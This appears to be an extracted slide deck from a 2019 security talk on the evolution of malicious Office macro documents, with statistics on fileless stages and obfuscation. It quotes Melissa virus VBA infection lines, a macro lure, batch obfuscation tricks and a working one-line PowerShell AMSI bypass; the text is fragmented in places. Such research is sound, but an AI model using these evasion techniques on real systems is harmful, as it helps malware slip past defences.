MalDoc Evolution

From ShellExecute to ^LL^ehs^reWO^p

TC TLV Feb 2019
WHO ARE WE

Asaf Aprozper
Github: 3pun0x
Twitter: @3pun0x

Gal Bitensky
Github: G4lB1t
Twitter: @Gal_B1t

Ex- Security researchers@
History Class
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
BGN = 2
If ADI1.Name <> "Melissa" Then
    If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "Melissa"
Melissa – The Little Virus That Could...

Ian Whalley
Sophos Plc

[After this analysis VB gauges IVPC’s reaction to Melissa. Sarah Gordon’s feature also mentions its author. Ed.]

Saturday 27 March was going to be a quiet day – or at least, that was what I thought when I got up at around 8.30am. After a quick breakfast, I dialled my ISP to retrieve my email and read some news. Shortly afterwards, I was in the car on the way to the office.

Newsgroups, mailing lists, on-line news services – all were talking about one thing: a macro virus called Melissa that first line of the macro appropriately. This is dependent upon whether it is copying itself into the global template from a document, or into a document from the global template. This is necessary because the macro has two different names – in a document, it is called Document_Open() (as mentioned above), and in the global template, it is called Document_Close().

It is worth noting at this point that Melissa has a little-noticed side effect – it will overwrite the first item in the components collection of documents and global templates which it infects. For most documents, this will not be an issue, of course – however, for global templates, it might be more of a problem.

Payloads
Melissa has two payloads. Not surprisingly, the least

5
Business
Panic like it's 1999: Microsoft Office macro viruses are BACK
VBA IS NOT DEAD, shrieks infosec chap
By John Leyden 8 Jul 2014 at 14:34
This document was created with an older version of Microsoft Office

1. Document open
2. Download an executable to %TEMP%
3. ShellExecute

Click "Enable editing" button from the yellow bar above

Once you have enabled editing, please click "Enable content" button from the yellow bar above
```vbnet
If Win64 Then
    creeper
ElseIf Win32 Then
    fandango = "non"
    condensation = "divina"
    creeper
Else
    creeper
End If
```
a Lib "kernel32" Alias "GetPriorityClass"
Lib "user32" Alias "CallWindowProcA"
Lib "kernel32" Alias "CreateEventA" (lpEventA
Lib "kernel32" Alias "VirtualAlloc" (ByVal lpadd " Alias "RtlMoveMemory" (pDst As Any, p

#ifdef Win64
creep
#else if Win32
fandango = "neon"
coeducation = "divina"
creep
#else
#endif
The Research
The Research

- Motivation
- Selecting 50 campaigns
- Limiting the research scope – anything following the VBA/exploit
- Stepping through the infection stages
Why Fileless?

• Ol’ ShellExecute:
  • Download/decode an executable payload
  • Directly start it from the VBA/exploit

• No longer good enough:
  • AVs getting better at executable analysis
  • Logging and monitoring anomalies
Why Fileless? (cont’d)

• AV 101:
  • Static vs. dynamic inspection
  • Impact on performance
• The limitations of “NG”/ML products
• Chasing blind spots – it works!
How Much Fileless?

• Fileless is the norm
• 88% of the inspected samples contained fileless stages!
  • Excluding using a document as an infection vector
  • APTs and commodity malware alike
Why Obfuscation?

• When plain fileless is insufficient
• Easy, open-source projects

• Obfuscation != encryption
Obfuscation 101
Reverse – CMD

• Batch file can read a string backwards
• FOR loop and CALL command combo
set "ret=" & set "str=%~2"
for /L %%I in (0,1,100) do (  
    if "!str!"=="" for %%a in ("!ret!") do (    
        endlocal & set "%~1=%%~a" & exit /b  
    )
    set "ret=!str:~0,1!!ret!"
    set "str=!str:~1!"
)
FORcoding - CMD

- FOR loop iterating over an “ABC array”
cmd /V:ON /C "set unique=stirf&&FOR %A IN (4 2 3 0 1 1337) do set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:~-5%"
C:\>cmd /V:ON /C "set unique=stirf&&FOR %A IN (4 2 3 0 1 1337) do set final=!final!!unique:~%A,1!&& IF %A==1337 CALL %final:~5%"
C:\>set final=!final!!unique:~4,1! && IF 4 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~2,1! && IF 2 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~1,1! && IF 1 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~4,1! && IF 4 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~2,1! && IF 2 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~1,1! && IF 1 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~4,1! && IF 4 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~2,1! && IF 2 == 1337 CALL %final:~5%
C:\>set final=!final!!unique:~1,1! && IF 1 == 1337 CALL %final:~5%

'first' is not recognized as an operable program or batch file.
Rename

- Let’s copy paste everything!
C:\Users\Gal\AppData\Local\Temp\NotPowerNotShell\FIRST.exe

Write-Host "WTF"
WTF
String Concatenation

- String Concatenation
- Story time! 😊
PS:\>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
Environment Variables

• What is an environment variable?
• Potential x86 sandbox bypass?
  • Program files vs. program files (x86)
• Funny incompatibility with Windows XP
  • Documents and Settings vs. Users
Obfuscation Layers per Sample

- 0: 30%
- 1: 36%
- Other: 34%

- 2: 23%
- 3: 4%
- 4: 7%
<table>
<thead>
<tr>
<th>Date</th>
<th>Special Characters</th>
<th>Reverse</th>
<th>Numbers</th>
<th>Replace</th>
<th>Base64</th>
<th>string</th>
</tr>
</thead>
<tbody>
<tr>
<td>March</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>April</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>May</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>June</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>August</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>August</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>September</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>September</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>September</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>September</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>October</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
</tbody>
</table>
Fortune Telling: More of the Same

C:\jOuwbsbAQ\PhUHYKKrs\mnInuaRmUvt\.\.\.\windows\sys
tem32\cmd.exe

• Only limited by imagination and esoteric “features”
• Medium-long range:
  • Solutions will get better
  • New genres will emerge
Questions?